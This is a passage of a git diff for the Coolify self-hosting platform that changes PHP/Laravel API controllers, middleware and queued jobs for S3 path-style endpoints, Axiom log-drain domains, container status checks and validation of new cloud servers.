+++ b/app/Http/Controllers/Api/S3StoragesController.php @@ -97,6 +97,7 @@ class S3StoragesController extends Controller 'endpoint' => ['type' => 'string'], 'bucket' => ['type' => 'string'], 'region' => ['type' => 'string'], + 'use_path_style_endpoint' => ['type' => 'boolean'], 'is_usable' => ['type' => 'boolean'], 'team_id' => ['type' => 'integer'], 'created_at' => ['type' => 'string'], @@ -160,6 +161,7 @@ class S3StoragesController extends Controller 'endpoint' => ['type' => 'string'], 'bucket' => ['type' => 'string'], 'region' => ['type' => 'string'], + 'use_path_style_endpoint' => ['type' => 'boolean'], 'is_usable' => ['type' => 'boolean'], 'team_id' => ['type' => 'integer'], 'created_at' => ['type' => 'string'], @@ -220,6 +222,7 @@ class S3StoragesController extends Controller 'endpoint' => ['type' => 'string', 'example' => 'https://s3.us-east-1.amazonaws.com', 'description' => 'S3-compatible endpoint URL.'], 'bucket' => ['type' => 'string', 'example' => 'my-bucket', 'description' => 'S3 bucket name.'], 'region' => ['type' => 'string', 'example' => 'us-east-1', 'description' => 'S3 region.'], + 'use_path_style_endpoint' => ['type' => 'boolean', 'description' => 'Use path-style URLs (endpoint/bucket). Set to false for providers that only accept virtual-hosted-style URLs (bucket.endpoint). Default: false for Alibaba Cloud OSS, Tencent Cloud COS, and Volcengine TOS endpoints, true for all other endpoints.'], 'key' => ['type' => 'string', 'description' => 'Access key.'], 'secret' => ['type' => 'string', 'description' => 'Secret key.'], 'is_usable' => ['type' => 'boolean', 'description' => 'Whether the storage is marked usable.'], @@ -258,7 +261,7 @@ class S3StoragesController extends Controller )] public function store(Request $request) { - $allowedFields = ['name', 'description', 'endpoint', 'bucket', 'region', 'key', 'secret', 'is_usable']; + $allowedFields = ['name', 'description', 'endpoint', 'bucket', 'region', 'key', 'secret', 'use_path_style_endpoint', 'is_usable']; $teamId = getTeamIdFromToken(); if (is_null($teamId)) { @@ -281,6 +284,7 @@ class S3StoragesController extends Controller 'region' => 'required|string|max:255', 'key' => 'required|string|max:255', 'secret' => 'required|string|max:255', + 'use_path_style_endpoint' => 'sometimes|boolean', 'is_usable' => 'sometimes|boolean', ]); if ($validationError instanceof JsonResponse) { @@ -296,6 +300,7 @@ class S3StoragesController extends Controller 'region' => $body['region'], 'key' => $body['key'], 'secret' => $body['secret'], + 'use_path_style_endpoint' => $body['use_path_style_endpoint'] ?? S3Storage::detectPathStyleEndpoint($body['endpoint']), 'is_usable' => $body['is_usable'] ?? false, ]); @@ -335,6 +340,7 @@ class S3StoragesController extends Controller 'endpoint' => ['type' => 'string', 'description' => 'S3-compatible endpoint URL.'], 'bucket' => ['type' => 'string', 'description' => 'S3 bucket name.'], 'region' => ['type' => 'string', 'description' => 'S3 region.'], + 'use_path_style_endpoint' => ['type' => 'boolean', 'description' => 'Use path-style URLs (endpoint/bucket). Set to false for providers that only accept virtual-hosted-style URLs (bucket.endpoint), such as Alibaba Cloud OSS.'], 'key' => ['type' => 'string', 'description' => 'Access key.'], 'secret' => ['type' => 'string', 'description' => 'Secret key.'], 'is_usable' => ['type' => 'boolean', 'description' => 'Whether the storage is marked usable.'], @@ -373,7 +379,7 @@ class S3StoragesController extends Controller )] public function update(Request $request) { - $allowedFields = ['name', 'description', 'endpoint', 'bucket', 'region', 'key', 'secret', 'is_usable']; + $allowedFields = ['name', 'description', 'endpoint', 'bucket', 'region', 'key', 'secret', 'use_path_style_endpoint', 'is_usable']; $teamId = getTeamIdFromToken(); if (is_null($teamId)) { @@ -395,6 +401,7 @@ class S3StoragesController extends Controller 'region' => 'sometimes|string|max:255', 'key' => 'sometimes|string|max:255', 'secret' => 'sometimes|string|max:255', + 'use_path_style_endpoint' => 'sometimes|boolean', 'is_usable' => 'sometimes|boolean', ]); if ($validationError instanceof JsonResponse) { diff --git a/app/Http/Controllers/Api/ServerLogDrainsController.php b/app/Http/Controllers/Api/ServerLogDrainsController.php index a5da9edb89..bacd75aebe 100644 --- a/app/Http/Controllers/Api/ServerLogDrainsController.php +++ b/app/Http/Controllers/Api/ServerLogDrainsController.php @@ -7,6 +7,7 @@ use App\Actions\Server\StopLogDrain; use App\Http\Controllers\Controller; use App\Models\Server; use App\Rules\ValidFluentBitConfig; +use App\Rules\ValidHostname; use Illuminate\Http\JsonResponse; use Illuminate\Http\Request; use OpenApi\Attributes as OA; @@ -20,6 +21,7 @@ class ServerLogDrainsController extends Controller 'is_logdrain_axiom_enabled', 'logdrain_axiom_dataset_name', 'logdrain_axiom_api_key', + 'logdrain_axiom_domain', 'is_logdrain_custom_enabled', 'logdrain_custom_config', 'logdrain_custom_config_parser', @@ -47,6 +49,7 @@ class ServerLogDrainsController extends Controller 'logdrain_newrelic_base_uri' => $settings->logdrain_newrelic_base_uri, 'is_logdrain_axiom_enabled' => (bool) $settings->is_logdrain_axiom_enabled, 'logdrain_axiom_dataset_name' => $settings->logdrain_axiom_dataset_name, + 'logdrain_axiom_domain' => $settings->logdrain_axiom_domain, 'is_logdrain_custom_enabled' => (bool) $settings->is_logdrain_custom_enabled, 'is_logdrain_cloudwatch_enabled' => (bool) $settings->is_logdrain_cloudwatch_enabled, 'logdrain_cloudwatch_region' => $settings->logdrain_cloudwatch_region, @@ -85,6 +88,7 @@ class ServerLogDrainsController extends Controller new OA\Property(property: 'logdrain_newrelic_base_uri', type: 'string', nullable: true), new OA\Property(property: 'is_logdrain_axiom_enabled', type: 'boolean'), new OA\Property(property: 'logdrain_axiom_dataset_name', type: 'string', nullable: true), + new OA\Property(property: 'logdrain_axiom_domain', type: 'string', nullable: true), new OA\Property(property: 'logdrain_axiom_api_key', type: 'string', description: 'Only present with read:sensitive.'), new OA\Property(property: 'is_logdrain_custom_enabled', type: 'boolean'), new OA\Property(property: 'logdrain_custom_config', type: 'string', description: 'Only present with read:sensitive.'), @@ -138,6 +142,7 @@ class ServerLogDrainsController extends Controller new OA\Property(property: 'logdrain_newrelic_base_uri', type: 'string'), new OA\Property(property: 'is_logdrain_axiom_enabled', type: 'boolean'), new OA\Property(property: 'logdrain_axiom_dataset_name', type: 'string'), + new OA\Property(property: 'logdrain_axiom_domain', type: 'string', description: 'Base domain of the Axiom edge deployment. Default: us-east-1.aws.edge.axiom.co. Use eu-central-1.aws.edge.axiom.co for EU datasets.'), new OA\Property(property: 'logdrain_axiom_api_key', type: 'string'), new OA\Property(property: 'is_logdrain_custom_enabled', type: 'boolean'), new OA\Property(property: 'logdrain_custom_config', type: 'string'), @@ -185,6 +190,7 @@ class ServerLogDrainsController extends Controller 'is_logdrain_axiom_enabled' => 'boolean', 'logdrain_axiom_dataset_name' => ['nullable', 'string', 'regex:/^[a-zA-Z0-9_\-\.]+$/'], 'logdrain_axiom_api_key' => ['nullable', 'string', 'regex:/^[a-zA-Z0-9_\-\.]+$/'], + 'logdrain_axiom_domain' => ['nullable', 'string', new ValidHostname], 'is_logdrain_custom_enabled' => 'boolean', 'logdrain_custom_config' => ['nullable', 'string', new ValidFluentBitConfig], 'logdrain_custom_config_parser' => ['nullable', 'string', new ValidFluentBitConfig(parsersOnly: true)], @@ -250,7 +256,7 @@ class ServerLogDrainsController extends Controller } if ($settings->is_logdrain_cloudwatch_enabled) { - if ($settings->is_logdrain_newrelic_enabled || $settings->is_logdrain_axiom_enabled || $settings->is_logdrain_custom_enabled || $settings->is_logdrain_highlight_enabled) { + if ($settings->is_logdrain_newrelic_enabled || $settings->is_logdrain_axiom_enabled || $settings->is_logdrain_custom_enabled) { return response()->json([ 'message' => 'Validation failed.', 'errors' => [ diff --git a/app/Http/Controllers/Api/ServiceApplicationsController.php b/app/Http/Controllers/Api/ServiceApplicationsController.php index f6147855aa..bffff06ff2 100644 --- a/app/Http/Controllers/Api/ServiceApplicationsController.php +++ b/app/Http/Controllers/Api/ServiceApplicationsController.php @@ -533,8 +533,7 @@ class ServiceApplicationsController extends Controller $containerName = $serviceApplication->name.'-'.$serviceApplication->service->uuid; - $status = getContainerStatus($server, $containerName); - if ($status !== 'running') { + if (! is_array(getContainerStatus($server, $containerName, all_data: true))) { return response()->json([ 'message' => 'Service application container is not running.', ], 400); diff --git a/app/Http/Controllers/Api/ServiceDatabasesController.php b/app/Http/Controllers/Api/ServiceDatabasesController.php index fb4ad6d892..ad666fa5bc 100644 --- a/app/Http/Controllers/Api/ServiceDatabasesController.php +++ b/app/Http/Controllers/Api/ServiceDatabasesController.php @@ -405,7 +405,7 @@ class ServiceDatabasesController extends Controller [$serviceDatabase, $server] = $resolved; $containerName = $serviceDatabase->name.'-'.$serviceDatabase->service->uuid; - if (getContainerStatus($server, $containerName) !== 'running') { + if (! is_array(getContainerStatus($server, $containerName, all_data: true))) { return response()->json(['message' => 'Service database container is not running.'], 400); } diff --git a/app/Http/Controllers/Api/ServicesController.php b/app/Http/Controllers/Api/ServicesController.php index 0bb16d67ad..222baba002 100644 --- a/app/Http/Controllers/Api/ServicesController.php +++ b/app/Http/Controllers/Api/ServicesController.php @@ -22,6 +22,7 @@ use App\Support\ValidationPatterns; use Illuminate\Database\Eloquent\Model; use Illuminate\Http\JsonResponse; use Illuminate\Http\Request; +use Illuminate\Support\Arr; use Illuminate\Support\Collection; use Illuminate\Support\Facades\Validator; use OpenApi\Attributes as OA; @@ -302,7 +303,7 @@ class ServicesController extends Controller mediaType: 'application/json', schema: new OA\Schema( type: 'object', - required: ['server_uuid', 'project_uuid', 'environment_name', 'environment_uuid'], + required: ['server_uuid', 'project_uuid'], properties: [ 'type' => ['description' => 'The one-click service type (e.g. "actualbudget", "calibre-web", "gitea-with-mysql" ...)', 'type' => 'string'], 'name' => ['type' => 'string', 'maxLength' => 255, 'description' => 'Name of the service.'], @@ -993,13 +994,6 @@ class ServicesController extends Controller return response()->json(['message' => 'Container not found.'], 404); } - $status = getContainerStatus($service->destination->server, $container['Names']); - if ($status !== 'running') { - return response()->json([ - 'message' => 'Container is not running.', - ], 400); - } - $lines = normalizeLogLines($request->query('lines')); $showTimestamps = parseLogTimestampFlag($request->query('show_timestamps')); $logs = sanitizeLogsForExport( @@ -1702,6 +1696,7 @@ class ServicesController extends Controller $updatedEnvs = collect(); foreach ($bulk_data as $item) { + $item = Arr::only($item, ['key', 'value', 'is_literal', 'is_multiline', 'is_shown_once', 'comment']); if (array_key_exists('key', $item)) { $item['key'] = ValidationPatterns::normalizeEnvironmentVariableKey((string) $item['key']); } @@ -3345,7 +3340,7 @@ class ServicesController extends Controller $uuid = new_public_id(); $name = $request->filled('name') ? $request->string('name')->toString() - : $service->name.'-clone-'.$uuid; + : clone_resource_name($service->name, $uuid); $cloneVolumeData = $request->boolean('clone_volumes', false); $newService = clone_service($service, $destination, [ diff --git a/app/Http/Controllers/Api/VultrController.php b/app/Http/Controllers/Api/VultrController.php index 31aa2b4bac..e5c2664a96 100644 --- a/app/Http/Controllers/Api/VultrController.php +++ b/app/Http/Controllers/Api/VultrController.php @@ -2,11 +2,12 @@ namespace App\Http\Controllers\Api; -use App\Actions\Server\ValidateServer; use App\Enums\ProxyTypes; +use App\Exceptions\CloudProviderApiException; use App\Exceptions\RateLimitException; use App\Http\Controllers\Api\Concerns\RequiresDeployAbility; use App\Http\Controllers\Controller; +use App\Jobs\ValidateNewCloudServerJob; use App\Models\CloudProviderToken; use App\Models\PrivateKey; use App\Models\Server; @@ -193,6 +194,7 @@ class VultrController extends Controller new OA\Response(response: 403, description: 'The token needs the deploy permission for a cloud-init script or extra SSH keys.'), new OA\Response(response: 422, description: 'Validation failed.'), new OA\Response(response: 429, description: 'Vultr API rate limit exceeded.'), + new OA\Response(response: 502, ref: '#/components/responses/502'), ] )] public function createServer(Request $request): JsonResponse @@ -275,8 +277,12 @@ class VultrController extends Controller if (is_null($request->vultr_ssh_key_ids)) { $request->offsetSet('vultr_ssh_key_ids', []); } - if (is_null($request->instant_validate)) { - $request->offsetSet('instant_validate', false); + $request->offsetSet('instant_validate', $request->filled('instant_validate') ? $request->boolean('instant_validate') : $this->hasDeployAbility($request)); + if ($request->instant_validate) { + $forbidden = $this->deployAbilityForbiddenResponse($request, 'Instant validation installs Docker and starts the proxy on the new server, so it needs a token with the deploy permission.'); + if ($forbidden) { + return $forbidden; + } } if ($request->disable_public_ipv4 && ! $request->enable_ipv6) { @@ -371,7 +377,7 @@ class VultrController extends Controller } if ($request->instant_validate) { - ValidateServer::dispatch($server); + ValidateNewCloudServerJob::dispatch($server); } auditLog('api.vultr_server.created', [ @@ -403,12 +409,13 @@ class VultrController extends Controller } return $response; - } catch (\Throwable $e) { + } catch (CloudProviderApiException $e) { $this->deleteUntrackedInstance($vultrService, $vultrInstanceId, $server); - logger()->error('Failed to create Vultr server', [ - 'error' => $e->getMessage(), - ]); + return $e->toJsonResponse('Failed to create Vultr server.'); + } catch (\Throwable $e) { + $this->deleteUntrackedInstance($vultrService, $vultrInstanceId, $server); + report($e); return response()->json(['message' => 'Failed to create Vultr server.'], 500); } diff --git a/app/Http/Controllers/Webhook/Github.php b/app/Http/Controllers/Webhook/Github.php index e644a68c26..c69487031d 100644 --- a/app/Http/Controllers/Webhook/Github.php +++ b/app/Http/Controllers/Webhook/Github.php @@ -735,7 +735,6 @@ class Github extends Controller $data = Http::GitSource($api_url)->withBody(null) ->accept('application/vnd.github+json') ->timeout(10) - ->connectTimeout(5) ->post("$api_url/app-manifests/$code/conversions") ->throw() ->json(); @@ -841,7 +840,6 @@ class Github extends Controller 'Accept' => 'application/vnd.github+json', ]) ->timeout(10) - ->connectTimeout(5) ->get("{$github_app->api_url}/app/installations/{$installation_id}"); } catch (\Throwable $e) { return strip_tags(str_replace('
    ', ' ', $e->getMessage())); diff --git a/app/Http/Middleware/ApiAllowed.php b/app/Http/Middleware/ApiAllowed.php index 541bf3919a..7d6600bbb1 100644 --- a/app/Http/Middleware/ApiAllowed.php +++ b/app/Http/Middleware/ApiAllowed.php @@ -18,7 +18,7 @@ class ApiAllowed $isMcpRestBridge = $request->attributes->get('mcp_rest_bridge') === true; if (! $isMcpRestBridge && instanceSettings()->is_api_enabled === false) { - return response()->json(['success' => true, 'message' => 'API is disabled.'], 403); + return response()->json(['success' => false, 'message' => 'API is disabled.'], 403); } return app(ApiIpAllowed::class)->handle($request, $next); diff --git a/app/Http/Middleware/ApiIpAllowed.php b/app/Http/Middleware/ApiIpAllowed.php index 72aaa4b7c8..b37a9b38a7 100644 --- a/app/Http/Middleware/ApiIpAllowed.php +++ b/app/Http/Middleware/ApiIpAllowed.php @@ -23,7 +23,7 @@ class ApiIpAllowed $allowedIps = array_filter(array_map('trim', explode(',', $allowedIps))); if (! empty($allowedIps) && ! checkIPAgainstAllowlist(client_ip($request), $allowedIps)) { - return response()->json(['success' => true, 'message' => 'You are not allowed to access the API.'], 403); + return response()->json(['success' => false, 'message' => 'You are not allowed to access the API.'], 403); } return $next($request); diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index 96bc5a7f83..53b278767a 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -810,14 +810,14 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue $fileStorage->is_directory = true; $fileStorage->content = null; $fileStorage->save(); - $fileStorage->deleteStorageOnServer($this->mainServer); - $fileStorage->saveStorageOnServer($this->mainServer); + $fileStorage->forPullRequest($this->previewFileStoragePullRequestId())->deleteStorageOnServer($this->mainServer); + $fileStorage->forPullRequest($this->previewFileStoragePullRequestId())->saveStorageOnServer($this->mainServer); } elseif ($fileStat->value() === 'regular file' && $fileStorage->is_directory) { $fileStorage->is_directory = false; $fileStorage->is_based_on_git = true; $fileStorage->save(); - $fileStorage->deleteStorageOnServer($this->mainServer); - $fileStorage->saveStorageOnServer($this->mainServer); + $fileStorage->forPullRequest($this->previewFileStoragePullRequestId())->deleteStorageOnServer($this->mainServer); + $fileStorage->forPullRequest($this->previewFileStoragePullRequestId())->saveStorageOnServer($this->mainServer); } } } @@ -849,12 +849,6 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue return $service; }); $composeFile['services'] = $services->toArray(); - if (empty($composeFile)) { - $this->application_deployment_queue->addLogEntry('Failed to parse docker-compose file.'); - $this->fail('Failed to parse docker-compose file.'); - - return; - } // Add build secrets to compose file if enabled and BuildKit is supported if ($this->dockerSecretsSupported && ! empty($this->build_secrets)) { @@ -994,12 +988,25 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue /** * Parses the Compose file for this deployment and writes the volume warnings of the parser * (for example an external volume that the resource does not use yet) to the deployment log. + * A deployment of the application also queues one sync of the file storages with the server, which + * loads the content of the files that come from the repository. A preview uses its own copies of the + * files, so its deployment does not sync the storages of the application. + * The parser gives no services when it cannot parse the file. The deployment stops then, because + * an empty Compose file fails later with the unclear Docker error "no service selected". * * @return Collection + * + * @throws DeploymentException When the parsed Compose file has no services */ private function parseComposeFileForDeployment(): Collection { $composeFile = collect($this->application->parse(pull_request_id: $this->pull_request_id, preview_id: data_get($this->preview, 'id'), commit: $this->commit)); + if (blank(data_get($composeFile, 'services'))) { + throw new DeploymentException("The Docker Compose file has no services, or Coolify could not parse it. Check that {$this->application->docker_compose_location} is valid YAML and has a services section."); + } + if ($this->pull_request_id === 0) { + ServerFilesFromServerJob::dispatch($this->application); + } foreach ($this->application->composeVolumeWarnings() as $warning) { $this->application_deployment_queue->addLogEntry("Warning: {$warning}", 'stderr'); } @@ -1158,6 +1165,18 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue } } + /** + * The pull request whose file storage paths this deployment writes. Only the current Compose parser + * mounts the `-pr-` copies in a preview; other build packs and the legacy parser mount the + * paths of the application. + */ + private function previewFileStoragePullRequestId(): int + { + return $this->application->build_pack === 'dockercompose' && (int) $this->application->compose_parsing_version >= 3 + ? $this->pull_request_id + : 0; + } + /** * The queued ServerStorageSaveJob writes new content files, but it can run after the containers * start. Preserve-repository deployments write all file storages in write_deployment_configurations(). @@ -1171,7 +1190,7 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue } EnsureContentFilesOnServer::run( - $this->application->fileStorages()->get(), + $this->application->fileStorages()->get()->map->forPullRequest($this->previewFileStoragePullRequestId()), $this->mainServer, function (string $message, string $type): void { $this->application_deployment_queue->addLogEntry($message, $type); @@ -1334,7 +1353,7 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue } foreach ($this->application->fileStorages as $fileStorage) { if (! $fileStorage->is_host_file && ! $fileStorage->is_based_on_git && ! $fileStorage->is_directory) { - $fileStorage->saveStorageOnServer($this->mainServer); + $fileStorage->forPullRequest($this->previewFileStoragePullRequestId())->saveStorageOnServer($this->mainServer); } } if ($this->use_build_server) { @@ -3332,18 +3351,21 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue return 'GIT_SSH_COMMAND="'.$sshCommand.'" '.$gitCommand.' ls-remote '.escapeshellarg($this->fullRepoUrl).' '.escapeshellarg($lsRemoteRef); } + private function update_repository_project_id(): void + { + $repositorySlug = gitRepositorySlug($this->customRepository); + $repository = githubApi($this->source, "repos/{$repositorySlug}"); + $repository_project_id = data_get($repository, 'data.id'); + if (isset($repository_project_id) && $this->application->repository_project_id !== $repository_project_id) { + $this->application->repository_project_id = $repository_project_id; + $this->application->save(); + } + } + private function check_git_if_build_needed() { if (is_object($this->source) && $this->source->getMorphClass() === GithubApp::class && $this->source->is_public === false) { - $repository = githubApi($this->source, "repos/{$this->customRepository}"); - $data = data_get($repository, 'data'); - $repository_project_id = data_get($data, 'id'); - if (isset($repository_project_id)) { - if (blank($this->application->repository_project_id) || $this->application->repository_project_id !== $repository_project_id) { - $this->application->repository_project_id = $repository_project_id; - $this->application->save(); - } - } + $this->update_repository_project_id(); } $this->resolve_bitbucket_pull_request_commit(); $this->generate_git_import_commands(); diff --git a/app/Jobs/ApplicationPullRequestUpdateJob.php b/app/Jobs/ApplicationPullRequestUpdateJob.php index 025daa12b0..8a7766123f 100755 --- a/app/Jobs/ApplicationPullRequestUpdateJob.php +++ b/app/Jobs/ApplicationPullRequestUpdateJob.php @@ -70,7 +70,7 @@ class ApplicationPullRequestUpdateJob implements ShouldBeEncrypted, ShouldQueue private function update_comment() { - ['data' => $data] = githubApi(source: $this->application->source, endpoint: "/repos/{$this->application->git_repository}/issues/comments/{$this->preview->pull_request_issue_comment_id}", method: 'patch', data: [ + ['data' => $data] = githubApi(source: $this->application->source, endpoint: '/repos/'.gitRepositorySlug($this->application->git_repository)."/issues/comments/{$this->preview->pull_request_issue_comment_id}", method: 'patch', data: [ 'body' => $this->body, ], throwError: false); if (data_get($data, 'message') === 'Not Found') { @@ -80,7 +80,7 @@ class ApplicationPullRequestUpdateJob implements ShouldBeEncrypted, ShouldQueue private function create_comment() { - ['data' => $data] = githubApi(source: $this->application->source, endpoint: "/repos/{$this->application->git_repository}/issues/{$this->preview->pull_request_id}/comments", method: 'post', data: [ + ['data' => $data] = githubApi(source: $this->application->source, endpoint: '/repos/'.gitRepositorySlug($this->application->git_repository)."/issues/{$this->preview->pull_request_id}/comments", method: 'post', data: [ 'body' => $this->body, ]); $this->preview->pull_request_issue_comment_id = $data['id']; @@ -89,7 +89,7 @@ class ApplicationPullRequestUpdateJob implements ShouldBeEncrypted, ShouldQueue private function delete_comment() { - githubApi(source: $this->application->source, endpoint: "/repos/{$this->application->git_repository}/issues/comments/{$this->preview->pull_request_issue_comment_id}", method: 'delete'); + githubApi(source: $this->application->source, endpoint: '/repos/'.gitRepositorySlug($this->application->git_repository)."/issues/comments/{$this->preview->pull_request_issue_comment_id}", method: 'delete'); } private function getPreviewLinks(): string diff --git a/app/Jobs/DatabaseBackupJob.php b/app/Jobs/DatabaseBackupJob.php index a05d713165..07e2fd56e3 100644 --- a/app/Jobs/DatabaseBackupJob.php +++ b/app/Jobs/DatabaseBackupJob.php @@ -970,7 +970,7 @@ class DatabaseBackupJob implements ShouldBeEncrypted, ShouldQueue private function setMinioClientAlias(Server $server, string $container, S3Storage $s3, string $resolveOptions): void { $remoteCommand = ($server->isNonRoot() ? 'sudo ' : '').'docker exec -i '.escapeshellarg($container) - .' mc alias set'.$resolveOptions.' temporary '.escapeshellarg($s3->endpoint).' >/dev/null'; + .' mc alias set'.$resolveOptions.$s3->minioClientPathOption().' temporary '.escapeshellarg($s3->endpoint).' >/dev/null'; $timeout = (int) config('constants.ssh.command_timeout'); SshRetryHandler::retry( diff --git a/app/Jobs/PushServerUpdateJob.php b/app/Jobs/PushServerUpdateJob.php index 9a9fd8a56c..ea15d0a5f6 100644 --- a/app/Jobs/PushServerUpdateJob.php +++ b/app/Jobs/PushServerUpdateJob.php @@ -116,6 +116,8 @@ class PushServerUpdateJob implements ShouldBeEncrypted, ShouldQueue, Silenced public bool $foundLogDrainContainer = false; + public array $logDrainContainerLabels = []; + private ?array $cachedDestinationIds = null; public function middleware(): array @@ -275,6 +277,7 @@ class PushServerUpdateJob implements ShouldBeEncrypted, ShouldQueue, Silenced $name = data_get($container, 'name'); if ($name === 'coolify-log-drain' && $this->isRunning($containerStatus)) { $this->foundLogDrainContainer = true; + $this->logDrainContainerLabels = $labels->all(); } // Containers are matched by owner UUID; numeric ids differ between instances. if (isContainerOfType($labels, 'application')) { @@ -614,7 +617,9 @@ class PushServerUpdateJob implements ShouldBeEncrypted, ShouldQueue, Silenced ->where('restart_limit_reached', false) ->update(['restart_limit_reached' => true]) === 1; - if ($restartLimitClaimed) { + // Stop again while a container still runs: an earlier stop can fail or come too late. + $stillRunning = $containerStatuses->contains(fn (string $status): bool => ! str($status)->contains('exited')); + if ($restartLimitClaimed || $stillRunning) { $application->refresh(); StopApplication::dispatch( application: $application, @@ -623,6 +628,8 @@ class PushServerUpdateJob implements ShouldBeEncrypted, ShouldQueue, Silenced resetRestartCount: false, removeContainers: false, ); + } + if ($restartLimitClaimed) { $application->environment->project->team?->notify(new ApplicationRestartLimitReached($application)); } } @@ -860,6 +867,8 @@ class PushServerUpdateJob implements ShouldBeEncrypted, ShouldQueue, Silenced if (! $tcpProxyContainerFound) { StartDatabaseProxy::dispatch($database); $this->server->team?->notify(new ContainerRestarted("TCP Proxy for {$database->name}", $this->server, restartedResource: $database)); + } elseif (StartDatabaseProxy::claimOutdatedRefresh($databaseUuid, data_get($tcpProxyContainerFound, 'labels'))) { + StartDatabaseProxy::dispatch($database); } } elseif ($this->isRunning($containerStatus) && ! $tcpProxy) { // Clean up orphaned proxy containers when is_public=false @@ -973,7 +982,10 @@ class PushServerUpdateJob implements ShouldBeEncrypted, ShouldQueue, Silenced private function checkLogDrainContainer() { - if ($this->server->isFluentBitLogDrainEnabled() && $this->foundLogDrainContainer === false) { + if (! $this->server->isFluentBitLogDrainEnabled()) { + return; + } + if ($this->foundLogDrainContainer === false || StartLogDrain::claimOutdatedRefresh($this->server, $this->logDrainContainerLabels)) { StartLogDrain::dispatch($this->server); } } diff --git a/app/Jobs/ServerCheckJob.php b/app/Jobs/ServerCheckJob.php index 1d449cc23e..2d00f8bbd7 100644 --- a/app/Jobs/ServerCheckJob.php +++ b/app/Jobs/ServerCheckJob.php @@ -113,7 +113,7 @@ class ServerCheckJob implements ShouldBeEncrypted, ShouldQueue })->first(); if ($foundLogDrainContainer) { $status = data_get($foundLogDrainContainer, 'State.Status'); - if ($status !== 'running') { + if ($status !== 'running' || StartLogDrain::claimOutdatedRefresh($this->server, data_get($foundLogDrainContainer, 'Config.Labels'))) { StartLogDrain::dispatch($this->server); } } else { diff --git a/app/Jobs/ServerCloudProviderStatusCheckJob.php b/app/Jobs/ServerCloudProviderStatusCheckJob.php index 46d0898c93..696adfe19c 100644 --- a/app/Jobs/ServerCloudProviderStatusCheckJob.php +++ b/app/Jobs/ServerCloudProviderStatusCheckJob.php @@ -33,25 +33,7 @@ class ServerCloudProviderStatusCheckJob implements ShouldBeEncrypted, ShouldQueu public function handle(): void { try { - if (! $this->server->cloudProviderToken) { - return; - } - - match ($this->server->cloudProviderToken->provider) { - 'hetzner' => $this->server->hetzner_server_id - ? $this->server->refreshHetznerState() - : null, - 'vultr' => $this->server->vultr_instance_id - ? $this->server->refreshVultrState() - : null, - 'digitalocean' => $this->server->digitalocean_droplet_id - ? $this->server->refreshDigitalOceanState() - : null, - 'hostinger' => $this->server->hostinger_virtual_machine_id - ? $this->server->refreshHostingerState() - : null, - default => null, - }; + $this->server->refreshCloudProviderState(); } catch (\Throwable $e) { Log::debug('Cloud provider status check failed', [ 'server_id' => $this->server->id, diff --git a/app/Jobs/ServerFilesFromServerJob.php b/app/Jobs/ServerFilesFromServerJob.php index 73641131fe..3d0b06b2f7 100644 --- a/app/Jobs/ServerFilesFromServerJob.php +++ b/app/Jobs/ServerFilesFromServerJob.php @@ -18,8 +18,7 @@ class ServerFilesFromServerJob implements ShouldBeEncrypted, ShouldBeUniqueUntil use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; /** - * Only one sync per resource can wait in the queue. The compose parser dispatches - * this job once per volume on every parse, so without this the queue fills with copies. + * Only one sync per resource can wait in the queue, also when deployments follow each other quickly. */ public int $uniqueFor = 600; diff --git a/app/Jobs/ValidateNewCloudServerJob.php b/app/Jobs/ValidateNewCloudServerJob.php new file mode 100644 index 0000000000..e1283f3937 --- /dev/null +++ b/app/Jobs/ValidateNewCloudServerJob.php @@ -0,0 +1,75 @@ +onQueue('high'); + } + + public function handle(): void + { + if (! $this->server->canBeValidated() || $this->server->is_validating || $this->server->isFunctional()) { + return; + } + + if ($this->isReady()) { + ValidateAndInstallServerJob::dispatch($this->server); + + return; + } + + if ($this->attempt >= self::MAX_ATTEMPTS) { + $this->server->update([ + 'validation_logs' => 'The server did not start or accept SSH connections within '.(self::MAX_ATTEMPTS * self::RETRY_DELAY_SECONDS / 60).' minutes after it was created. Validate it manually.', + ]); + + return; + } + + self::dispatch($this->server, $this->attempt + 1)->delay(now()->addSeconds(self::RETRY_DELAY_SECONDS)); + } + + private function isReady(): bool + { + try { + $status = $this->server->refreshCloudProviderState(); + } catch (\Throwable) { + return false; + } + + if (! in_array($status, ['running', 'active'], true) || $this->server->hasPlaceholderIp()) { + return false; + } + + return $this->server->validateConnection()['uptime']; + } +} diff --git a/app/Jobs/VolumeBackupJob.php b/app/Jobs/VolumeBackupJob.php index 344cefdccc..b7524c7012 100644 --- a/app/Jobs/VolumeBackupJob.php +++ b/app/Jobs/VolumeBackupJob.php @@ -487,7 +487,7 @@ class VolumeBackupJob implements ShouldBeEncrypted, ShouldQueue private function setMinioClientAlias(Server $server, string $container, S3Storage $s3, string $resolveOptions): void { $remoteCommand = ($server->isNonRoot() ? 'sudo ' : '').'docker exec -i '.escapeshellarg($container) - .' mc alias set'.$resolveOptions.' temporary '.escapeshellarg($s3->endpoint).' >/dev/null'; + .' mc alias set'.$resolveOptions.$s3->minioClientPathOption().' temporary '.escapeshellarg($s3->endpoint).' >/dev/null'; $timeout = (int) config('constants.ssh.command_timeout'); SshRetryHandler::retry( diff --git a/app/Livewire/Analytics.php b/app/Livewire/Analytics.php index 62c3aab048..e4cc20741b 100644 --- a/app/Livewire/Analytics.php +++ b/app/Livewire/Analytics.php @@ -348,9 +348,14 @@ class Analytics extends Component $appRows = []; $hostTotals = []; + $clients = $servers->mapWithKeys(fn (Server $server) => [$server->uuid => $this->trafficClient($server)]); + if ($resource === null) { + SentinelTrafficClient::prefetchServerWideConcurrently($clients, $from, $to, $this->range, appsLimit: self::MAX_LEADERBOARD_APPS); + } + foreach ($servers as $server) { try { - $client = $this->trafficClient($server); + $client = $clients[$server->uuid]; if ($resource !== null) { // One server in Sentinel's resource scope is exact; a merge across servers diff --git a/app/Livewire/Destination/Show.php b/app/Livewire/Destination/Show.php index 05b295b88b..1aa03d854c 100644 --- 